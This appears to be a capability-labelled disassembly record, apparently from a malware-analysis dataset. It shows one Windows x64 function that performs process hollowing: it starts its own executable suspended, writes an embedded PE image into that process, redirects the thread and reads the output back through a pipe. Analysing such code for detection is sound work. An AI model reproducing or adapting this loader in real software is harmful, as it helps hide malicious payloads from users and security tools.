Function at 0x140001c00
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov r13, r8
mov qword [rsp + 0x50], r8
mov rbx, rdx
xor r15d, r15d
mov dword [rbp - 0x60], r15d
movsxd rsi, dword [0x14000a0dc]
lea rax, [0x14000a0a0]
add rsi, rax
mov r8d, 0x400
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [rsi], 0x4550
jne 0x1400023a1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0xc], xmm1
movups xmmword [rbp + 4], xmm1
movups xmmword [rbp + 0x14], xmm1
movups xmmword [rbp + 0x24], xmm1
movups xmmword [rbp + 0x34], xmm1
mov dword [rbp + 0x44], eax
mov dword [rbp - 0x10], 0x68
mov dword [rbp - 0x30], 0x18
mov qword [rbp - 0x28], r15
mov dword [rbp - 0x20], 1
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400023a1
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rax
or dword [rbp + 0x2c], 0x100
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140006cb0]
mov qword [rbp + 0xb0], rax
lea rax, [0x140006c00]
mov qword [rbp + 0xc0], rax
lea rcx, [rbp + 0x148]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x60], 4
xor r8d, r8d
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0x130], r15
mov dword [rbp + 0x138], r15d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
mov byte [rbp - 0x60], 0x2d
mov al, 0x4c
mov cl, 0x5f
xor edx, edx
xor al, 0x2d
mov byte [rbp - 0x5f], al
xor cl, 0x2d
mov byte [rbp - 0x5e], cl
mov byte [rbp - 0x5d], dl
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rbp - 0x5f]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dl
jne 0x140001de0
lea rdx, [rbp - 0x5f]
lea rcx, [rsp + 0x60]
call fcn.140003730
nop
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140002dd0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov ecx, 0x40
call fcn.140004030
mov rbx, rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rax
lea rcx, [rax + 0x40]
mov qword [rbp + 0x70], rcx
lea rax, [rbp + 0x60]
mov qword [rbp - 0x60], rax
lea rdi, [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], rbx
lea rax, [rbp + 0x60]
mov qword [rbp + 0xa8], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.140002dd0
add rbx, 0x20
mov qword [rbp + 0xa0], rbx
add rdi, 0x20
lea rax, [rbp - 0x60]
cmp rdi, rax
jne 0x140001e60
mov rdx, rbx
mov rcx, rbx
call fcn.140003830
mov qword [rbp + 0x68], rbx
lea r9, [fcn.140002d30]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x60]
call fcn.14000406c
mov rdi, qword [rbp + 0x68]
mov rbx, qword [rbp + 0x60]
cmp rbx, rdi
je 0x140001ef5
nop dword [rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001ecd
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0xc0]
call fcn.140003ce0
mov rcx, rax
lea rdx, [0x140006bd4]
call fcn.1400032f0
add rbx, 0x20
cmp rbx, rdi
jne 0x140001ec0
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov dword [rbp - 0x60], 6
mov ecx, dword [rbp + 0x138]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140001f51
mov rax, qword [rbp + 0x108]
mov rbx, qword [rax]
test rbx, rbx
je 0x140001f51
mov rax, qword [rbp + 0xe8]
mov r9, qword [rax]
cmp rbx, qword [rbp + 0x130]
cmovb rbx, qword [rbp + 0x130]
jmp 0x140001f7c
test cl, 4
jne 0x140001fb3
mov rax, qword [rbp + 0x100]
mov rcx, qword [rax]
test rcx, rcx
je 0x140001fb3
mov rax, qword [rbp + 0xe0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x118]
movsxd rbx, dword [rax]
add rbx, rcx
mov rax, r9
sub rbx, r9
test rax, rax
je 0x140001fb3
lea rcx, [rbp + 0x78]
cmp rbx, 0xf
ja 0x140001faa
mov qword [rbp + 0x88], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0x78], 0
jmp 0x140001fb3
mov rdx, rbx
call fcn.140003a30
nop
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rdx, qword [rbp + 0x78]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000229d
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002296
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp + 0x1b0]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea r12, [rsi + 0x30]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov r9d, dword [rsi + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea r8, [0x14000a0a0]
mov rdx, rax
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, ebx
cmp bx, word [rsi + 6]
jae 0x140002103
xor r12d, r12d
lea r13, [0x14000a0a0]
movzx eax, word [rsi + 0x14]
add rax, rbx
mov r9d, dword [rax + rsi + 0x28]
mov r8d, dword [rax + rsi + 0x2c]
add r8, r13
mov edx, dword [rax + rsi + 0x24]
add rdx, r15
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc edi
add rbx, 0x28
movzx eax, word [rsi + 6]
cmp edi, eax
jl 0x1400020c0
lea r12, [rsi + 0x30]
mov r13, qword [rsp + 0x50]
xor ebx, ebx
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r15
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov r8d, 0x3ff
mov rdx, r13
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002172
mov eax, dword [rbp - 0x60]
mov byte [rax + r13], 0
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x1400021c7
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004384
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140002237
mov rdx, qword [rbp + 0x68]
call fcn.140003830
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002226
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002226
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004384
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rbx
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc8]
call fcn.140002a40
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x148]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
jmp 0x1400023a6
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x1400022de
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004384
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x14000234e
mov rdx, qword [rbp + 0x68]
call fcn.140003830
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000233d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000233d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004384
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xb0], r14
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x98]
mov dword [rbp + rdx + 0xac], r8d
lea rcx, [rbp + 0xc8]
call fcn.140002a40
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x148]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140004010
mov rbx, qword [rsp + 0x710]
add rsp, 0x6d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret